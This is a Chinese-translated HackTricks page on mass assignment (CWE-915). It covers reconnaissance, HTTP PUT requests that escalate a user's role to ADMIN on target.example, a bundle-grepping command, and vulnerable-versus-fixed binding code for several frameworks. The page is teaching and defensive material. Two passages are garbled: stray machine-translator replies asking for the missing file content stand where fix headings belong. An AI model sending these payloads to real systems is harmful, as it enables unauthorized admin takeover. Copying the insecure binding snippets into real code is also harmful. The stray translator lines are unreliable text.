Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Reading time: 9 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Mass assignment (a.k.a. insecure object binding) 发生在 API/controller 接收用户提供的 JSON 并将其直接绑定到服务器端的 model/entity,而没有显式的字段 allow-list。如果像 roles、isAdmin、status 或 ownership 等特权属性可被绑定,任何已认证用户都可能提升权限或篡改受保护的状态。

这是一个 Broken Access Control 问题 (OWASP A01:2021),通常可以通过设置 roles=ADMIN 等方式实现 vertical privilege escalation。它常见于支持将请求体自动绑定到数据模型的框架(Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs 等)。

1) 查找 Mass Assignment

查找可用于自我服务的端点,这些端点更新你自己的个人资料或类似资源:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

表明存在 mass assignment 的启发式迹象:

  • 响应回显服务器管理的字段(例如 roles、status、isAdmin、permissions),即使你没有发送这些字段。
  • 客户端打包文件包含角色名称/ID 或应用中使用的其他特权属性名(admin、staff、moderator、internal flags),暗示模式可被绑定。
  • 后端序列化器接受未知字段而不拒绝它们。

快速测试流程:

  1. 执行仅包含安全字段的常规更新,并观察完整的 JSON 响应结构(this leaks the schema)。
  2. 在请求体中加入经精心构造的特权字段后重复更新。如果响应保留了更改,则很可能存在 mass assignment。

示例基线更新显示模式:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

响应暗示了特权字段:

http
HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) 利用 – Role Escalation via Mass Assignment

一旦你知道可绑定的结构,就在同一个请求中包含名为 privileged 的属性。

示例:在你自己的用户资源上将 roles 设置为 ADMIN:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.

注意

  • Role identifiers 和 shapes 通常可以从 client JS bundle 或 API docs 中枚举出来。搜索类似 "roles"、"ADMIN"、"STAFF" 或数字 role IDs 的字符串。
  • 如果 tokens 包含 claims(例如 JWT roles),通常需要 logout/login 或 token refresh 才能实现新的权限。

3) Client Bundle Recon for Schema and Role IDs

  • 检查 minified JS bundles 以寻找 role strings 和 model names;source maps 可能揭示 DTO shapes。
  • 查找包含 roles、permissions 或 feature flags 的 arrays/maps。构造与精确属性名和嵌套结构匹配的 payloads。
  • 典型指示器:role name constants、dropdown option lists、validation schemas。

Handy greps against a downloaded bundle:

bash
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) 框架陷阱与安全模式

当框架将 req.body 直接绑定到持久化实体时,会产生该漏洞。下面是常见错误和最小化的安全模式。

Node.js (Express + Mongoose)

易受攻击:

js
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

我需要该文件的内容才能翻译。请粘贴 src/pentesting-web/mass-assignment-cwe-915.md 的完整 Markdown 内容(或指出要翻译的具体段落)。我会按要求翻译为中文,保留所有 Markdown/HTML 标签、路径、代码、技术名词及不翻译的词汇不变,并仅返回翻译后的 Markdown 输出。

js
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

易受攻击(没有 strong parameters):

rb
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

修复 (strong params + 无特权字段):

rb
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

易受攻击:

php
protected $guarded = []; // Everything mass-assignable (bad)

我没有收到要翻译/修复的文件内容。请粘贴 src/pentesting-web/mass-assignment-cwe-915.md 的原始 Markdown 文本(或说明具体要修复的部分)。我会按你给出的规则把相关英文翻成中文,保持原有的 Markdown/HTML 标签、路径和代码不变。

php
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

易受攻击的模式:

java
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

修复:映射到仅包含允许字段的 DTO 并强制执行授权:

java
record UserUpdateDTO(String firstName, String lastName, String nickName) {}

然后在服务器端从 DTO 将允许的字段复制到实体,并且仅在通过 RBAC 检查后的仅管理员处理程序中处理角色变更。如有必要,对特权字段使用 @JsonIgnore,并拒绝未知属性。

Go (encoding/json)

  • 确保特权字段使用 json:"-",并使用只包含允许字段的 DTO 结构体进行验证。
  • 考虑使用 decoder.DisallowUnknownFields(),并在绑定后验证不变量(例如:角色不能在自助服务路由中更改)。

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks